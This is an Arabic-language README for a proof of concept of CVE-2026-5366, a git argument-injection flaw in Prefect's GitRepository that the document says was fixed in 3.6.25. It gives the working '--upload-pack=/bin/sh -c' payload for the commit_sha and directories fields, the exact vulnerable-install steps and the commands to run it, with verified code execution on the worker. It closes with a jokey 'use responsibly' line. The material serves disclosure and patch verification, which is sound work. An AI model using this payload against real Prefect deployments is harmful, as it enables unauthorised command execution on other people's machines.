
PoC لـ CVE-2026-5366: حقن وسيطات git في GitRepository الخاص بـ Prefect يؤدي إلى RCE على العامل.
commit_sha (بالإضافة إلى حقن وسيطات عبر directories)src/prefect/runner/storage.pyهذا دليل مفهوم لثغرة تم الكشف عنها وإصلاحها بالفعل (تم إصلاحها في Prefect 3.6.25)، نُشر لأغراض تعليمية والتحقق الدفاعي. قم بتشغيله فقط ضد البرامج والأنظمة التي تملكها أو مخول باختبارها. إذا كنت تستخدم Prefect، قم بالترقية إلى الإصدار 3.6.25 أو أحدث.
| الملف | الغرض |
|---|---|
poc.py | يشغل كلا متجهي الحقن ضد تثبيت معرض للخطر ويبلغ عن أي منهما يؤدي إلى تنفيذ التعليمات البرمجية |
run_offline.sh | مشغل بدون اتصال بالشبكة: يبني مستودعًا محليًا file:// ويشغل poc.py ضده (الطريقة الموثوقة لرؤية تنفيذ RCE) |
في src/prefect/runner/storage.py:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
نقاط الحقن (أرقام الأسطر في 3.6.23):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
(بدون فاصل )في مسار commit_sha، يتم تفسير --upload-pack=<برنامج> بواسطة git fetch/git checkout كبرنامج الحزمة الذي سيتم تشغيله للاتصال، لذلك يتم تنفيذ البرنامج محليًا على جهاز العامل. تم التحقق من ذلك من البداية إلى النهاية (انظر "النتائج المؤكدة" أدناه).
مسار directories هو حقن وسيطات حقيقي ولكنه ليس ناقل RCE عبر --upload-pack: git sparse-checkout set هو أمر محلي بدون خيار --upload-pack، لذلك يتم رفض الحمولة كعلامة غير معروفة. ينعكس هذا التباين في الإصلاح من المنبع: يتم رفض commit_sha بشكل صارم، بينما يؤدي إدخال directories الذي يبدأ بـ -- فقط إلى إطلاق تحذير.
الجوهر هو خدعة حقن وسيطات git على متجه commit_sha.
لا تحقق. في الإصدار 3.6.23، يتم تخزين قيمة commit_sha كما هي (storage.py:181)، دون فحوصات تتجاوز الاستبعاد المتبادل بين branch/commit_sha. يتم قبول أي سلسلة.
تهبط في موضع وسيطة git. عندما يسحب Prefect الكود (pull_code() ثم _clone_repo())، توضع القيمة في قائمة وسيطات git:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
هذه قائمة وسيطات (بدون شل)، لذلك لا يوجد حقن شل. العيب هو عدم وجود فاصل -- قبل القيمة التي يتحكم بها المهاجم.
--upload-pack كخيار وليس كوسيطة. يعامل git أي شيء يبدأ بـ - كخيار ما لم يسبقه فاصل --. الحمولة:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
تحول الأمر إلى:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<برنامج> هو خيار شرعي لـ git fetch/clone/ ls-remote: يسمي البرنامج الذي يشغله git لتقديم الحزم. عندما يكون المستودع البعيد محليًا (file://) أو يتم الوصول إليه عبر SSH/nقل محلي، ينفذ git ذلك البرنامج على الجهاز المحلي.
/bin/sh -c '...' بدلاً من المساعد الحقيقي git-upload-pack، لذلك يتم تشغيل أمر المهاجم على عامل Prefect. ثم يفشل git (لا يتحدث sh بروتوكول git)، ولكن التأثير الجانبي (تنفيذ الكود) قد حدث بالفعل، ولهذا يتجاهل PoC الاستثناء الناتج ويتحقق فقط من ملف العلامة.لماذا يهم التنظيف قبل الاختبار. إذا كان الوجهة تحتوي بالفعل على .git، يسلك Prefect مسار "تحديث المستودع الموجود". حذفه يجبر المسار الكامل _clone_repo()، الذي يحتوي على أكثر استدعاءات fetch origin <قيمة> + checkout <قيمة> مباشرة، وهي أفضل مواقع الحقن.
لماذا لا يعطي directories RCE. تهبط تلك القيمة في git sparse-checkout set <قيمة>، وهو أمر محلي بدون خيار --upload-pack، لذلك يرفض git الحمولة كعلامة غير معروفة. لا يزال حقن وسيطات حقيقي، لكنه ليس ناقل RCE بهذه الحمولة.
الإصلاح (3.6.25). يجب أن يتطابق commit_sha مع ^[0-9a-fA-F]{4,64}$، لذلك يتم رفض حمولة --upload-pack=... مع ValueError: Invalid commit SHA في وقت الإنشاء. بالنسبة لـ directories، يضيف الإصلاح الفاصل -- في أمر git (لم يعد من الممكن قراءة القيم كخيارات) بالإضافة إلى تحذير.
prefect==3.6.23 بالضبطGitRepository(..., commit_sha=..., directories=...).pull_code() مباشرةcommit_sha الخبيث عند إنشاء GitRepository(...)python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
أو من المصدر عند العلامة المعرضة للخطر بالضبط:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
الطريقة الموثوقة والمكتفية ذاتيًا (تبني مستودعًا محليًا file:// وتشغل كلا المتجهين):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
يمكنك أيضًا تشغيل poc.py مباشرة:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
هام: git لا يكرم --upload-pack إلا على وسائط النقل المحلية و SSH. ضد المستودع البعيد الافتراضي https، تكون الحمولة خاملة، لذلك يبلغ python poc.py عن عدم وجود علامة حتى على الإصدار الضعيف 3.6.23. استخدم run_offline.sh (أو file:// / ssh POC_TARGET_REPO) لرؤية RCE تشتعل فعليًا.
يقوم النص البرمجي بتنظيف عدواني (force_clean_destination) قبل كل متجه ليصيب بشكل موثوق مسار الاستنساخ (_clone_repo)، الذي يقوم بـ:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
هذه تصيب مواضع الوسيطات الخام في fetch / checkout و sparse-checkout set.
تم إعادة إنتاجها من البداية إلى النهاية، بدون اتصال بالشبكة بالكامل (مستودع محلي file:// عبر run_offline.sh)، على Python 3.12:
محتوى العلامة الملاحظ من التشغيل الضعيف:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
على تثبيت مصحح، يفشل إنشاء الكائن الخبيث قبل أي تشغيل git:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
إدخال directories يبدأ بـ -- فقط يصدر تحذيرًا (الحماية الحقيقية هي الفاصل -- المضاف إلى أمر git).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dاستخدم بمسؤولية (بالتأكيد !!! :PpPPpp) وفقط على الأنظمة التي تتحكم فيها :-)
["git", "sparse-checkout", "set", *self._directories]--| الإصدار | commit_sha | directories |
|---|
| 3.6.23 (معرض للخطر) | RCE تم تحقيقه: تم كتابة ملف العلامة أثناء git fetch origin <حمولة> | لا علامة: sparse-checkout set يرفض علامة --upload-pack |
| 3.6.25 (مصحح) | تم تحييده: ValueError: Invalid commit SHA ... عند إنشاء GitRepository(...) | لا علامة: فاصل -- + تحذير |